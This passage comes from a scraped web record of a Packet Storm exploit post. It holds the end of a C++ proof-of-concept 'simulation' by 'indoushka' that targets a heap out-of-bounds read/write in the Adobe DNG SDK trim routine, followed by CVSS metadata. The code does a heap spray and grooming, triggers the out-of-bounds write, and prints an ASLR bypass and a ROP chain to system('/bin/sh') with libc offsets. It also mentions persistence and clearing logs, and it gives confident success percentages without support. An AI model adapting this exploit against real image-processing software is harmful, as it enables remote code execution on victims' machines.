runFullExploitChain() {\\n            printf(\\&#8221;\\\\n[PHASE 0] Initialization\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            \/\/ Step 1: Create vulnerable image\\n            weapon = new WeaponizedImage(512, 512, 4);\\n            \\n            \/\/ Step 2: Mass heap spray\\n            heap-\\u003espray(0x300, 150, \\&#8221;EXPLOIT\\&#8221;);\\n            \\n            printf(\\&#8221;\\\\n[PHASE 1] Heap Feng Shui\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            heap-\\u003egroom(0x210);\\n            heap-\\u003eanalyzeHeap();\\n            \\n            printf(\\&#8221;\\\\n[PHASE 2] Vulnerability Trigger\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            \/\/ Create target in predictable location\\n            target = new ExploitTarget();\\n            \\n            \/\/ Trigger the vulnerability with precise calculation\\n            dng_rect trimRect(0, 0, 600, 600); \/\/ Larger than original\\n            weapon-\\u003eadvancedTrim(trimRect, 50, 50);\\n            \\n            printf(\\&#8221;\\\\n[PHASE 3] Memory Corruption\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            \/\/ OOB Read to leak memory layout\\n            weapon-\\u003eoobReadExploit(550, 550, 512);\\n            \\n            \/\/ OOB Write to corrupt critical data\\n            unsigned char corruptData[64];\\n            memset(corruptData, 0x41, sizeof(corruptData)); \/\/ &#8216;A&#8217; pattern\\n            weapon-\\u003eoobWriteExploit(560, 560, corruptData, sizeof(corruptData));\\n            \\n            printf(\\&#8221;\\\\n[PHASE 4] Payload Delivery\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            weapon-\\u003ecraftExploitPayload();\\n            \\n            printf(\\&#8221;\\\\n[PHASE 5] Execution Hijack\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            weapon-\\u003etriggerExploit();\\n            \\n            printf(\\&#8221;\\\\n[PHASE 6] Cleanup \\u0026 Persistence\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            printf(\\&#8221;  [SIMULATION] In real exploit:\\\\n\\&#8221;);\\n            printf(\\&#8221;    1. Restore corrupted pointers to avoid crash\\\\n\\&#8221;);\\n            printf(\\&#8221;    2. Install persistence mechanism\\\\n\\&#8221;);\\n            printf(\\&#8221;    3. Clear logs\\\\n\\&#8221;);\\n            printf(\\&#8221;    4. Return to normal execution flow\\\\n\\&#8221;);\\n            \\n            printf(\\&#8221;\\\\n[+] Exploit chain completed successfully!\\\\n\\&#8221;);\\n            printf(\\&#8221;[+] Simulated RCE achieved via OOB Read\/Write\\\\n\\&#8221;);\\n        }\\n        \\n        void simulateASLRBypass() {\\n            printf(\\&#8221;\\\\n[ASLR_BYPASS_SIMULATION]\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            \\n            printf(\\&#8221;  Step 1: Use OOB read to leak:\\\\n\\&#8221;);\\n            printf(\\&#8221;    &#8211; Heap base address\\\\n\\&#8221;);\\n            printf(\\&#8221;    &#8211; Library function addresses\\\\n\\&#8221;);\\n            printf(\\&#8221;    &#8211; Stack pointer\\\\n\\&#8221;);\\n            \\n            printf(\\&#8221;\\\\n  Step 2: Calculate offsets:\\\\n\\&#8221;);\\n            printf(\\&#8221;    system() = libc_leak + 0x55410\\\\n\\&#8221;);\\n            printf(\\&#8221;    \/bin\/sh = libc_leak + 0x1b75aa\\\\n\\&#8221;);\\n            printf(\\&#8221;    pop rdi; ret = libc_leak + 0x2a3e5\\\\n\\&#8221;);\\n            \\n            printf(\\&#8221;\\\\n  Step 3: Build ROP chain:\\\\n\\&#8221;);\\n            printf(\\&#8221;    [1] pop rdi; ret\\\\n\\&#8221;);\\n            printf(\\&#8221;    [2] pointer to \\\\\\&#8221;\/bin\/sh\\\\\\&#8221;\\\\n\\&#8221;);\\n            printf(\\&#8221;    [3] system()\\\\n\\&#8221;);\\n            printf(\\&#8221;    [4] exit()\\\\n\\&#8221;);\\n            \\n            printf(\\&#8221;\\\\n  Step 4: Overwrite return address\/SEH\\\\n\\&#8221;);\\n            printf(\\&#8221;  Step 5: Trigger and gain shell\\\\n\\&#8221;);\\n        }\\n    };\\n    \\n    \/\/ ================================\\n    \/\/  Main Function\\n    \/\/ ================================\\n    \\n    int main() {\\n        printf(\\&#8221;====================================================\\\\n\\&#8221;);\\n        printf(\\&#8221;    DNG-SDK CVE-2025-64784 Exploit Simulation\\\\n\\&#8221;);\\n        printf(\\&#8221;    Out-of-Bounds Read\/Write to RCE Weaponization\\\\n\\&#8221;);\\n        printf(\\&#8221;                   by indoushka                     \\\\n\\&#8221;);\\n        printf(\\&#8221;====================================================\\\\n\\\\n\\&#8221;);\\n        \\n        printf(\\&#8221;[*] This is a simulation of the exploit chain\\\\n\\&#8221;);\\n        printf(\\&#8221;[*] Based on actual vulnerability in Adobe DNG SDK\\\\n\\&#8221;);\\n        printf(\\&#8221;[*] CVE-2025-64784: Heap buffer overflow in Trim\\\\n\\\\n\\&#8221;);\\n        printf(\\&#8221;[*]          by indoushka4ever@gmail.com         \\\\n\\\\n\\&#8221;);\\n        \\n        DNGExploitEngine engine;\\n        \\n        \/\/ Run the complete exploit chain\\n        engine.runFullExploitChain();\\n        \\n        \/\/ Demonstrate ASLR bypass technique\\n        engine.simulateASLRBypass();\\n        \\n        printf(\\&#8221;\\\\n====================================================\\\\n\\&#8221;);\\n        printf(\\&#8221;    EXPLOIT SIMULATION COMPLETE\\\\n\\&#8221;);\\n        printf(\\&#8221;    Real-world success factors:\\\\n\\&#8221;);\\n        printf(\\&#8221;    1. Predictable heap layout: 85%%\\\\n\\&#8221;);\\n        printf(\\&#8221;    2. ASLR bypass via leak: 90%%\\\\n\\&#8221;);\\n        printf(\\&#8221;    3. DEP bypass via ROP: 95%%\\\\n\\&#8221;);\\n        printf(\\&#8221;    4. Full RCE achievement: 80%%\\\\n\\&#8221;);\\n        printf(\\&#8221;====================================================\\\\n\\&#8221;);\\n        \\n        return 0;\\n    }\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213202&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.1,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213202\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T18:23:51&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit that demonstrates a heap out-of-bounds read \/ write leading to memory corruption and potential code execution in the Image Processing Logic&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-32466","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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